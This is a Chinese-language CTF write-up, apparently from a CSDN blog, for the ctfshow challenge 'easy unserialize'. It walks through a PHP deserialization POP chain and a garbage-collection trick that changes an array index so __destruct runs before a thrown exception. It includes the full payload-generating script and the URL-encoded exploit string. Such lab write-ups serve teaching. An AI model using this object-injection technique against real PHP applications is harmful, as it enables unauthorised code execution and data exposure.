• 卷王杯 easy unserialize


    因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。

    进入题目,给了源码:

    1. include("./HappyYear.php");
    2. class one {
    3. public $object;
    4. public function MeMeMe() {
    5. array_walk($this, function($fn, $prev){
    6. if ($fn[0] === "Happy_func" && $prev === "year_parm") {
    7. global $talk;
    8. echo "$talk"."
      "
      ;
    9. global $flag;
    10. echo $flag;
    11. }
    12. });
    13. }
    14. public function __destruct() {
    15. @$this->object->add();
    16. }
    17. public function __toString() {
    18. return $this->object->string;
    19. }
    20. }
    21. class second {
    22. protected $filename;
    23. protected function addMe() {
    24. return "Wow you have sovled".$this->filename;
    25. }
    26. public function __call($func, $args) {
    27. call_user_func([$this, $func."Me"], $args);
    28. }
    29. }
    30. class third {
    31. private $string;
    32. public function __construct($string) {
    33. $this->string = $string;
    34. }
    35. public function __get($name) {
    36. $var = $this->$name;
    37. $var[$name]();
    38. }
    39. }
    40. if (isset($_GET["ctfshow"])) {
    41. $a=unserialize($_GET['ctfshow']);
    42. throw new Exception("高一新生报道");
    43. } else {
    44. highlight_file(__FILE__);
    45. }

    要输出flag,就要调用方法MeMeMe()

    一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法

    数组调用类中方法

    关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:

    ##例子1

    1. error_reporting(0);
    2. class one{
    3. public function test()
    4. {
    5. echo "123";
    6. }
    7. }
    8. $a=array(one,test);
    9. $a();

    ##例子2

    还有一种是形似题目这种调用数组名的:

    可以从调试窗口看到得到清晰的划分。

    输出:

    123

    接下来就是触发各类魔方方法

    可以看之前的一篇文章

    我这里就把链子理一下:

    one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe

    __destruct函数的GC回收机制:

    参考:

    https://www.jianshu.com/p/d73b3ca418b0

    1. class one{
    2. public function __destruct(){
    3. echo "__destruct";
    4. }
    5. }
    6. $a = new one();
    7. throw new Exception("高一新生报道");

    解决方法:

    1. class one{
    2. public $string;
    3. public function __destruct(){
    4. echo "__destruct";
    5. }
    6. }
    7. $a=new one();
    8. $b=array($a,NULL);
    9. echo serialize($b);

    以上代码序列化的结果:

    a:2:{i:0;O:3:"one":0:{}i:1;N;}

    把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct

    payload:

    1. /**
    2. * @Author: F10wers_13eiCheng
    3. * @Date: 2022-02-01 11:25:02
    4. * @Last Modified by: F10wers_13eiCheng
    5. * @Last Modified time: 2022-02-07 15:08:18
    6. */
    7. include("./HappyYear.php");
    8. class one {
    9. public $year_parm=array("Happy_func");
    10. public $object;
    11. public function MeMeMe() {
    12. array_walk($this, function($fn, $prev){
    13. if ($fn[0] === "Happy_func" && $prev === "year_parm") {
    14. global $talk;
    15. echo "$talk"."
      "
      ;
    16. global $flag;
    17. echo $flag;
    18. }
    19. });
    20. }
    21. public function __destruct() {
    22. @$this->object->add();
    23. }
    24. public function __toString() {
    25. return $this->object->string;
    26. }
    27. }
    28. class second {
    29. public $filename;
    30. protected function addMe() {
    31. return "Wow you have sovled".$this->filename;
    32. }
    33. public function __call($func, $args) {
    34. call_user_func([$this, $func."Me"], $args);
    35. }
    36. }
    37. class third {
    38. private $string;
    39. public function __construct($string) {
    40. $this->string = $string;
    41. }
    42. public function __get($name) {
    43. $var = $this->$name;
    44. $var[$name]();
    45. }
    46. }
    47. $a=new one();
    48. $a->object=new second();
    49. $a->object->filename=new one();
    50. $a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
    51. $b = array($a,NULL);
    52. echo urlencode(serialize($b));

    生成的payload:

    a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

    标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的

     

  • 相关阅读:
    JUC-Future、CompletionService、CompletableFuture
    Yapi idea插件使用
    今晚8点不见不散
    一分钟了解乐观锁、悲观锁、共享锁、排它锁、行锁、表锁以及使用场景
    win10查看wifi密码
    Docker--harbor私有仓库部署与管理
    Java如何使用Hutool执行日期的加法和减法操作?
    生成代理:人类行为的交互模拟(Generative Agents: Interactive Simulacra of Human Behavior)
    Qt实现图书管理系统(C++)
    Vue3最佳实践 第七章 TypeScript 中
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/127413345